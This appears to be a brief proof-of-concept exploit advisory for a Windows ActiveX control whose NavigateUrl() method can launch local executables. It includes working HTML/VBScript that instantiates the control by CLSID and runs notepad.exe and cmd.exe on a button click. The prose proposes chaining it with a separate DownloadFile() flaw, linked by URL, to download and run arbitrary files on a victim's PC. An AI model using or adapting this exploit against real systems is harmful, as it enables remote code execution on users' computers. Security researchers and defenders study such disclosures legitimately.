You can use the "NavigateUrl()" to arbitrary launch local file from a pc. Try, for example, to launch "c:somefile.exe" and see what happen. Imagine to use this method with the "DownloadFile()" one, you can download something on the pc and run it without problems. For the "DownloadFile()" vulnerability see: <a href=http://www.milw0rm.com/exploits/4008>http://www.milw0rm.com/exploits/4008</a> ----------------------------------------------------------------------------- <object classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5' id='test' ></object> <input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <script language='vbscript'> Sub tryMe() test.NavigateUrl "notepad.exe" ,"shinnai" ,"_SELF" test.NavigateUrl "cmd.exe" ,"shinnai" ,"_SELF" End Sub </script> </span></span> </code></pre>
